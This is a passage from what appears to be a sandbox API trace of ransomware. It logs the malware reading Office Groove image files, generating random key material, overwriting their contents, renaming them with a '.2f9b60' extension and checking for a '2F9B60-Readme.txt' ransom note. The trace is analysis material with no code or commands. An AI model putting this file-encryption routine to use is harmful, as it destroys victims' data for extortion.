dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.777] WriteFile (in: hFile=0x1614, lpBuffer=0x2042ff70*, nNumberOfBytesToWrite=0x24ed, lpNumberOfBytesWritten=0x4fcffbf4, lpOverlapped=0x0 | out: lpBuffer=0x2042ff70*, lpNumberOfBytesWritten=0x4fcffbf4*=0x24ed, lpOverlapped=0x0) returned 1 [0222.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264560 [0222.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0222.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0222.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2042ff70) returned 1 [0222.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20411ef0) returned 1 [0222.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868540) returned 1 [0222.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61dd0) returned 1 [0222.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431ad9a0 [0222.972] SetFilePointerEx (in: hFile=0x1614, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.972] WriteFile (in: hFile=0x1614, lpBuffer=0x42c20090*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x4fcffd10, lpOverlapped=0x0 | out: lpBuffer=0x42c20090*, lpNumberOfBytesWritten=0x4fcffd10*=0x11a, lpOverlapped=0x0) returned 1 [0223.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20090) returned 1 [0223.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ad9e0) returned 1 [0223.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0223.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ad9a0) returned 1 [0223.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264560) returned 1 [0223.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264590) returned 1 [0223.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267830) returned 1 [0223.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267800) returned 1 [0223.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78f780 [0223.457] wcscpy (in: _Dest=0x1b78f780, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" [0223.457] wcscat (in: _Dest=0x1b78f780, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.2f9b60" [0223.457] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.2f9b60", NtPathName=0x4fcffd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x167940 [0227.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167940) returned 1 [0227.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b1970) returned 1 [0227.012] NtQueryInformationFile (in: FileHandle=0x1614, IoStatusBlock=0x4fcffd98, FileInformation=0x4fcffda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4fcffd98, FileInformation=0x4fcffda8) returned 0x0 [0227.012] NtSetInformationFile (FileHandle=0x1614, IoStatusBlock=0x4fcffd98, FileInformation=0x4fcffda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0233.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f780) returned 1 [0233.996] FlushFileBuffers (hFile=0x1614) returned 1 [0235.037] CloseHandle (hObject=0x1614) returned 1 [0236.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x423abbe0 [0236.662] wcscpy (in: _Dest=0x423abbe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0236.662] wcscat (in: _Dest=0x423abbe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0236.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0237.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423abbe0) returned 1 [0237.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb65c0) returned 1 Thread: id = 3746 os_tid = 0x2234 [0220.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp")) returned 0x20 [0221.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp", dwFileAttributes=0x20) returned 1 [0221.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1670 [0221.734] GetFileSizeEx (in: hFile=0x1670, lpFileSize=0x50a9f7a0 | out: lpFileSize=0x50a9f7a0*=3240) returned 1 [0221.734] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.734] ReadFile (in: hFile=0x1670, lpBuffer=0x50a9f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x50a9f768, lpOverlapped=0x0 | out: lpBuffer=0x50a9f720*, lpNumberOfBytesRead=0x50a9f768*=0x4, lpOverlapped=0x0) returned 1 [0221.754] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265490 [0221.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264590 [0221.755] NtQuerySystemTime (in: CurrentTime=0x50a9f660 | out: CurrentTime=0x50a9f660*=132462178257550000) returned 0x0 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x204b978d [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x2a20a602 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x824ae1d [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x4ec4eb62 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x5f6ce385 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x56c27702 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x1bfb8598 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x15e315c4 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x6a5518a2 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x7302ceee [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x4770e56e [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x5b3cee3f [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x48c1ee93 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x36bd301a [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x2f2ad51b [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x5ec6c8fd [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x1451e9ea [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x23ba2283 [0221.755] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x66e7f065 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x1473e93a [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x7225ae78 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x37559502 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x7816fc4f [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x66e30dcc [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x52425b43 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x3fa14c60 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x7804daa0 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x25d2cf0a [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x6799a268 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x218143a6 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x42333c30 [0221.756] RtlRandomEx (in: Seed=0x50a9f650 | out: Seed=0x50a9f650) returned 0x375d7b30 [0221.766] ReadFile (in: hFile=0x1670, lpBuffer=0x41f84990, nNumberOfBytesToRead=0xca8, lpNumberOfBytesRead=0x50a9f650, lpOverlapped=0x0 | out: lpBuffer=0x41f84990*, lpNumberOfBytesRead=0x50a9f650*=0xca8, lpOverlapped=0x0) returned 1 [0221.766] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.766] WriteFile (in: hFile=0x1670, lpBuffer=0x2040e2e0*, nNumberOfBytesToWrite=0xca8, lpNumberOfBytesWritten=0x50a9f654, lpOverlapped=0x0 | out: lpBuffer=0x2040e2e0*, lpNumberOfBytesWritten=0x50a9f654*=0xca8, lpOverlapped=0x0) returned 1 [0234.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6ee0 [0234.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f42d0 [0234.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f42d0) returned 1 [0234.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040e2e0) returned 1 [0234.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f84990) returned 1 [0234.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0234.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d80) returned 1 [0234.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1ce61d80 [0234.847] SetFilePointerEx (in: hFile=0x1670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.847] WriteFile (in: hFile=0x1670, lpBuffer=0x42c20da0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x50a9f770, lpOverlapped=0x0 | out: lpBuffer=0x42c20da0*, lpNumberOfBytesWritten=0x50a9f770*=0x122, lpOverlapped=0x0) returned 1 [0236.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20da0) returned 1 [0236.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ab0) returned 1 [0236.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f42d0) returned 1 [0236.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d80) returned 1 [0236.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6ee0) returned 1 [0236.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265490) returned 1 [0236.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264530) returned 1 [0236.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264650) returned 1 [0236.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf6) returned 0x1b790480 [0236.598] wcscpy (in: _Dest=0x1b790480, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" [0236.598] wcscat (in: _Dest=0x1b790480, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.2f9b60" [0236.598] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.2f9b60", NtPathName=0x50a9f790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x431e1c80 [0237.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e1c80) returned 1 [0237.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431efd00) returned 1 [0237.315] NtQueryInformationFile (in: FileHandle=0x1670, IoStatusBlock=0x50a9f7f8, FileInformation=0x50a9f808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x50a9f7f8, FileInformation=0x50a9f808) returned 0x0 [0237.315] NtSetInformationFile (FileHandle=0x1670, IoStatusBlock=0x50a9f7f8, FileInformation=0x50a9f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b790480) returned 1 [0237.318] FlushFileBuffers (hFile=0x1670) returned 1 [0238.225] CloseHandle (hObject=0x1670) returned 1 [0241.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1ceb6890 [0241.604] wcscpy (in: _Dest=0x1ceb6890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\" [0241.604] wcscat (in: _Dest=0x1ceb6890, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" [0241.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\2f9b60-readme.txt")) returned 0x20 [0241.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb6890) returned 1 [0241.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb66b0) returned 1 Thread: id = 3747 os_tid = 0x120 [0220.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg")) returned 0x20 [0221.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg", dwFileAttributes=0x20) returned 1 [0221.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2848 [0221.685] GetFileSizeEx (in: hFile=0x2848, lpFileSize=0x518cfd60 | out: lpFileSize=0x518cfd60*=2443) returned 1 [0221.685] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.685] ReadFile (in: hFile=0x2848, lpBuffer=0x518cfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x518cfd28, lpOverlapped=0x0 | out: lpBuffer=0x518cfce0*, lpNumberOfBytesRead=0x518cfd28*=0x4, lpOverlapped=0x0) returned 1 [0221.687] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267f80 [0221.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0221.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0221.689] NtQuerySystemTime (in: CurrentTime=0x518cfc20 | out: CurrentTime=0x518cfc20*=132462178256770000) returned 0x0 [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x33ea1e13 [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0xcb05333 [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x357ea0ca [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x32d2046c [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x421211ad [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x40235c29 [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x468676aa [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x22b18881 [0221.689] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x6a51d639 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x1e9600d0 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x72379ca2 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x6a0fb0db [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x4203b464 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x28c64d61 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x7b74a55b [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x26b29de8 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x35d90b89 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x3139eccb [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x632a69f5 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0xfa8a073 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0xe624225 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x560e7989 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x17607928 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x47b7a64d [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x5372c914 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x518cda94 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x158c6ea7 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x5989e266 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x2669d7ae [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x7c14f964 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0x6d6bc1b8 [0221.690] RtlRandomEx (in: Seed=0x518cfc10 | out: Seed=0x518cfc10) returned 0xa8ba7c6 [0221.715] ReadFile (in: hFile=0x2848, lpBuffer=0x41f8c1b0, nNumberOfBytesToRead=0x98b, lpNumberOfBytesRead=0x518cfc10, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesRead=0x518cfc10*=0x98b, lpOverlapped=0x0) returned 1 [0221.716] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.716] WriteFile (in: hFile=0x2848, lpBuffer=0x41f578d0*, nNumberOfBytesToWrite=0x98b, lpNumberOfBytesWritten=0x518cfc14, lpOverlapped=0x0 | out: lpBuffer=0x41f578d0*, lpNumberOfBytesWritten=0x518cfc14*=0x98b, lpOverlapped=0x0) returned 1 [0222.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0222.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0222.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0222.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f578d0) returned 1 [0222.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f8c1b0) returned 1 [0222.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869d40) returned 1 [0222.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce627d0) returned 1 [0222.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x431adbe0 [0222.953] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0222.953] WriteFile (in: hFile=0x2848, lpBuffer=0x42c20680*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x518cfd30, lpOverlapped=0x0 | out: lpBuffer=0x42c20680*, lpNumberOfBytesWritten=0x518cfd30*=0x11a, lpOverlapped=0x0) returned 1 [0223.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20680) returned 1 [0223.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431acbe0) returned 1 [0223.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0223.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431adbe0) returned 1 [0223.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266b40) returned 1 [0223.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0223.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0223.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644d0) returned 1 [0223.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xee) returned 0x1b78f480 [0223.429] wcscpy (in: _Dest=0x1b78f480, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" [0223.429] wcscat (in: _Dest=0x1b78f480, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.2f9b60" [0223.429] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.2f9b60", NtPathName=0x518cfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.429] RtlAllocateHeap (HeapHandle=0xa0000, 